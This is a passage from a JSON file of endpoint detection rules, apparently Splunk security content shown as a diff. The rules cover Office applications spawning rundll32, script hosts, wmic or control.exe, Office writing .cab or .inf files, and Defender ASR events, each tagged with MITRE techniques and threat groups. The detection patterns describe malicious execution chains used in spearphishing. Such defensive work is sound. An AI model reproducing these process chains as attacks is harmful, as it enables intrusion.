(\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_rundll32` (Processes.process!=*.dll*) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_rundll32_with_no_dll_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ and no dll commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Windows Script Host", - "description": "The following analytic detects an Office product spawning WScript.exe or CScript.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications are the parent processes. This activity is significant because it may indicate the execution of potentially malicious scripts through Office products, a common tactic in phishing attacks and malware delivery. If confirmed malicious, this behavior could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") Processes.process_name IN (\"wscript.exe\", \"cscript.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Remcos", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ on host $dest$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Wmic", - "description": "The following analytic detects any Windows Office Product spawning `wmic.exe`, specifically when the command-line of `wmic.exe` contains `wmic process call create`. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as it is commonly associated with the Ursnif malware family, indicating potential malicious activity. If confirmed malicious, this could allow an attacker to execute arbitrary commands, leading to further system compromise, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_wmic` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_wmic_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "FIN7", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Writing cab or inf", - "description": "The following analytic detects Office products writing .cab or .inf files, indicative of CVE-2021-40444 exploitation. It leverages the Endpoint.Processes and Endpoint.Filesystem data models to identify Office applications creating these file types. This activity is significant as it may signal an attempt to load malicious ActiveX controls and download remote payloads, a known attack vector. If confirmed malicious, this could lead to remote code execution, allowing attackers to gain control over the affected system and potentially compromise sensitive data.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |rename process_guid as proc_guid | join proc_guid, _time [ | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.inf\",\"*.cab\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` |rename process_guid as proc_guid | fields _time dest file_create_time file_name file_path process_name process_path process proc_guid] | dedup file_create_time | table dest, process_name, process, file_create_time, file_name, file_path, proc_guid | `office_product_writing_cab_or_inf_filter`", - "tags": { - "analytic_story": [ - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on $dest$ writing an inf or cab file to this. This is not typical of $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Spawning Control", - "description": "The following analytic identifies instances where `control.exe` is spawned by a Microsoft Office product. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because it can indicate exploitation attempts related to CVE-2021-40444, where `control.exe` is used to execute malicious .cpl or .inf files. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") Processes.process_name=control.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `office_spawning_control_filter`", - "tags": { - "analytic_story": [ - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ clicking a suspicious attachment.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows CAB File on Disk", - "description": "The following analytic detects .cab files being written to disk. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on events where the file name is '*.cab' and the action is 'write'. This activity is significant as .cab files can be used to deliver malicious payloads, including embedded .url files that execute harmful code. If confirmed malicious, this behavior could lead to unauthorized code execution and potential system compromise. Analysts should review the file path and associated artifacts for further investigation.", - "search": "| tstats `security_content_summariesonly` count values(Filesystem.file_path) as file_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name=*.cab) by Filesystem.dest Filesystem.action Filesystem.process_id Filesystem.file_name | `drop_dm_object_name(\"Filesystem\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_cab_file_on_disk_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A .cab file was written to disk on endpoint $dest$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Audit Events", - "description": "This detection searches for Windows Defender ASR audit events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR audit events that are generated when a process or application attempts to perform an action that would be blocked by an ASR rule, but is allowed to proceed for auditing purposes.", - "search": "`ms_defender` EventCode IN (1122, 1125, 1126, 1132, 1134) | stats count min(_time) as firstTime max(_time) as lastTime by host, Process_Name, Target_Commandline, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_audit_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR audit event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Block Events", - "description": "This detection searches for Windows Defender ASR block events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR block events that are generated when a process or application attempts to perform an action that is blocked by an ASR rule. Typically, these will be enabled in block most after auditing and tuning the ASR rules themselves. Set to TTP once tuned.", - "search": "`ms_defender` EventCode IN (1121, 1126, 1129, 1131, 1133) | stats count min(_time) as firstTime max(_time) as lastTime by host, Path, Parent_Commandline, Process_Name, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_block_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR block event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Rules Stacking", - "description": "The following analytic identifies security events from Microsoft Defender, focusing on Exploit Guard and Attack Surface Reduction (ASR) features. It detects Event IDs 1121, 1126, 1131, and 1133 for blocked operations, and Event IDs 1122, 1125, 1132, and 1134 for audit logs. Event ID 1129 indicates user overrides, while Event ID 5007 signals configuration changes. This detection uses a lookup to correlate ASR rule GUIDs with descriptive names. Monitoring these events is crucial for identifying unauthorized operations, potential security breaches, and policy enforcement issues. If confirmed malicious, attackers could bypass security measures, execute unauthorized actions, or alter system configurations.", - "search": "`ms_defender` EventCode IN (1121, 1122, 1125, 1126, 1129, 1131, 1132, 1133, 1134, 5007) | stats count min(_time) as firstTime max(_time) as lastTime by host Parent_Commandline, Process_Name, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_rules_stacking_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An ASR rule, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": 